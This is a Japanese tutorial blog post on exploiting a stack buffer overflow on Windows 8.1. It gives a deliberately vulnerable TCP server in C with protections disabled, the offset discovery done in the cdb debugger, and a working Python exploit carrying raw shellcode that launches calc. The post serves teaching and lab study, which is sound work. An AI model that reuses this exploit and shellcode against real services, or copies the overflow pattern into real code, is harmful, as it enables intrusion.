Windowsで単純なスタックバッファオーバーフロー攻撃をやってみる
Windowsで各種セキュリティ機構をオフにして、単純なスタックバッファオーバーフローによるシェルコード実行をやってみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4
>systeminfo OS 名: Microsoft Windows 8.1 Pro OS バージョン: 6.3.9600 N/A ビルド 9600 OS ビルドの種類: Multiprocessor Free システムの種類: x64-based PC プロセッサ: 1 プロセッサインストール済みです。 [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz >cl Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 >cdb -version cdb version 6.3.9600.17298
脆弱性のあるプログラムを書いてみる
まず、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書いてみる。 ここではTCPの4444番ポートをlistenし、このポートからソケット経由で入力を受け付けるようにする。
/* bof.c */ #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") void bof(SOCKET c) { char buf[400]; printf("[+] buf = %p\n", buf); recv(c, buf, 1024, 0); } int main() { WSADATA wsaData; SOCKET s, c; SOCKADDR_IN name; BOOL yes = 1; WSAStartup(MAKEWORD(2, 2), &wsaData); s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes)); name.sin_family = AF_INET; name.sin_addr.s_addr = INADDR_ANY; name.sin_port = htons(4444); bind(s, (SOCKADDR *)&name, sizeof(name)); listen(s, 5); puts("[+] listening on 0.0.0.0 port 4444"); c = accept(s, NULL, NULL); closesocket(s); puts("[+] connection accepted"); bof(c); closesocket(c); ExitProcess(0); }
上のコードでは、標準出力にbuf変数のアドレスを出力するようになっている。 Winsockのrecv関数は、受信するサイズが確保したバッファのサイズより極端に大きな値の場合WSAEFAULT(10014)エラーを返すことに注意する。
ASLR、DEP、stack canary(/GS)を無効にしてコンパイルする。 なお、WindowsにおいてASLRという用語はしばしばLinuxにおけるPIE相当の意味で使われ、ここでもそれに従うこととする。
>cl bof.c /GS- /link /nxcompat:no /dynamicbase:no
生成されたbof.exeを実行し、待ち受けているポートに接続すると次のようになる。
$ nc localhost 4444 foo
>bof.exe [+] listening on 0.0.0.0 port 4444 [+] connection accepted [+] buf = 0018FBF0
正常に実行できていることが確認できる。
バッファからリターンアドレスまでのオフセットを調べてみる
上のプログラムに対し、確保されたバッファサイズよりも大きなデータを送り込み、リターンアドレスが置かれているオフセットを調べてみる。 ここではCygwinに付属するPythonを用いるが、Windows版やLAN内にある他のLinux上のPythonを用いてもよい。
# test.py import socket bufsize = 400 buf = 'A' * bufsize buf += 'aaaabbbbccccddddeeeeffff' c = socket.create_connection(('127.0.0.1', 4444)) c.sendall(buf) c.close()
デバッガを使い、プログラムの動作を確認してみる。
>cdb bof.exe (snip) (1664.1698): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=c0430000 edx=00000000 esi=7ffde000 edi=00000000 eip=778a3bed esp=0018faec ebp=0018fb18 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrpDoDebuggerBreak+0x2b: 778a3bed cc int 3 0:000> g ModLoad: 74450000 7449b000 C:\WINDOWS\SysWOW64\mswsock.dll [+] listening on 0.0.0.0 port 4444
接続を待ち受けている状態で、スクリプトを実行してみると次のようになる。
$ python test.py
0:000> g ModLoad: 74450000 7449b000 C:\WINDOWS\SysWOW64\mswsock.dll [+] listening on 0.0.0.0 port 4444 [+] connection accepted [+] buf = 0018FBF0 (1664.1698): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=000001a8 ebx=00000000 ecx=ad168f2e edx=0018fb34 esi=004014b4 edi=004014b4 eip=62626262 esp=0018fd88 ebp=61616161 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 62626262 ?? ??? 0:000> q quit:
上の結果より、saved ebpが0x61616161(aaaa
)、リターンアドレスが0x62626262(bbbb
)の位置に対応することがわかる。
エクスプロイトコードを書いてみる
ここまでの結果をもとに、リターンアドレスをシェルコードが置かれているアドレスに書き換えるエクスプロイトコードを書くと次のようになる。
# exploit.py import socket import struct addr_buf = 0x0018FBF0 bufsize = 400 # WinExec("calc", SW_SHOWNORMAL); ExitProcess(0); shellcode = '\xFC\xEB\x65\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x37\x49\x8B\x34\x8B\x03\xF5\x33\xFF\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE4\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA8\x33\xC0\x50\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x84\xFF\xFF\xFF\x50\x68\x7E\xD8\xE2\x73\xE8\x79\xFF\xFF\xFF' buf = 'A' * bufsize buf += 'AAAA' # saved ebp buf += struct.pack('<I', addr_buf+bufsize+8) # retaddr -> shellcode below buf += shellcode c = socket.create_connection(('127.0.0.1', 4444)) c.sendall(buf) c.close()
上のコードでは、「Windowsで電卓を起動するシェルコードを書いてみる」で作成したシェルコードを使用している。
bof.exeを起動し、エクスプロイトコードを実行してみる。
$ python exploit.py
シェルコードが実行され、電卓が起動することが確認できる。
デバッガで動作を確認してみる
デバッガを使い、シェルコードが実行されるまでの様子を調べてみる。
まず、デバッグ情報を有効(/Zi
)にして脆弱性のあるプログラムを再度コンパイルする。
>cl bof.c /Zi /GS- /link /nxcompat:no /dynamicbase:no
デバッガのもとでプログラムを起動し、bof関数内のret命令のアドレスにブレークポイントをセットした後、接続を待ち受けてみる。
>cdb bof.exe (snip) Executable search path is: ModLoad: 00400000 00430000 bof.exe ModLoad: 777f0000 7795e000 ntdll.dll (snip) (5b0.1174): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=5fd70000 edx=00000000 esi=7ffde000 edi=00000000 eip=778a3bed esp=0018faec ebp=0018fb18 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrpDoDebuggerBreak+0x2b: 778a3bed cc int 3 0:000> u bof!bof *** WARNING: Unable to verify checksum for bof.exe bof!bof: 00401020 55 push ebp 00401021 8bec mov ebp,esp 00401023 81ec90010000 sub esp,190h 00401029 8d8570feffff lea eax,[ebp-190h] 0040102f 50 push eax 00401030 6800b04200 push offset bof!__rtc_tzz <PERF> (bof+0x2b000) (0042 b000) 00401035 e81c020000 call bof!printf (00401256) 0040103a 83c408 add esp,8 0:000> u bof!bof+0x1d: 0040103d 6a00 push 0 0040103f 6800040000 push 400h 00401044 8d8d70feffff lea ecx,[ebp-190h] 0040104a 51 push ecx 0040104b 8b5508 mov edx,dword ptr [ebp+8] 0040104e 52 push edx 0040104f ff15a0f14200 call dword ptr [bof!_imp__recv (0042f1a0)] 00401055 8be5 mov esp,ebp 0:000> u bof!bof+0x37: 00401057 5d pop ebp 00401058 c3 ret 00401059 cc int 3 0040105a cc int 3 0040105b cc int 3 0040105c cc int 3 0040105d cc int 3 0040105e cc int 3 0:000> bp 00401058 0:000> g ModLoad: 74450000 7449b000 C:\WINDOWS\SysWOW64\mswsock.dll [+] listening on 0.0.0.0 port 4444
次に、エクスプロイトコードを実行しプログラムに接続する。
$ python exploit.py
セットしておいたプレークポイントで停止していることを確認し、スタックの状態を調べた後シェルコードに実行が移っていることを確認する。
0:000> g ModLoad: 74450000 7449b000 C:\WINDOWS\SysWOW64\mswsock.dll [+] listening on 0.0.0.0 port 4444 [+] connection accepted [+] buf = 0018FBF0 Breakpoint 0 hit eax=00000222 ebx=00000000 ecx=4ae97922 edx=0018fb34 esi=00401631 edi=00401631 eip=00401058 esp=0018fd84 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 bof!bof+0x38: 00401058 c3 ret 0:000> dc esp 0018fd84 0018fd88 6065ebfc 8b64c033 408b3040 ......e`3.d.@0.@ 0018fd94 14708b0c 244489ad 10688b1c 8b3c458b ..p...D$..h..E<. 0018fda4 03782854 184a8bd5 03205a8b 4937e3dd T(x...J..Z ...7I 0018fdb4 038b348b acff33f5 0774c084 030dcfc1 .4...3....t..... 0018fdc4 3bf4ebf8 7524247c 245a8be4 8b66dd03 ...;|$$u..Z$..f. 0018fdd4 5a8b4b0c 8bdd031c c5038b04 1c244489 .K.Z.........D$. 0018fde4 515a5961 748be0ff a8eb1c24 6850c033 aYZQ...t$...3.Ph 0018fdf4 636c6163 016ac48b fe986850 84e80e8a calc..j.Ph...... 0:000> u esp+4 0018fd88 fc cld 0018fd89 eb65 jmp 0018fdf0 0018fd8b 60 pushad 0018fd8c 33c0 xor eax,eax 0018fd8e 648b4030 mov eax,dword ptr fs:[eax+30h] 0018fd92 8b400c mov eax,dword ptr [eax+0Ch] 0018fd95 8b7014 mov esi,dword ptr [eax+14h] 0018fd98 ad lods dword ptr [esi] 0:000> p eax=00000222 ebx=00000000 ecx=4ae97922 edx=0018fb34 esi=00401631 edi=00401631 eip=0018fd88 esp=0018fd88 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 0018fd88 fc cld 0:000> g Application "\??\C:\WINDOWS\SYSTEM32\calc.exe" found in cache eax=00000000 ebx=778ef820 ecx=0018f141 edx=0000003e esi=00000000 edi=00401631 eip=7782c73c esp=0018fc94 ebp=0018fd60 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!NtTerminateProcess+0xc: 7782c73c c20800 ret 8 0:000> q quit:
ここで、cld
はシェルコードの最初の命令である。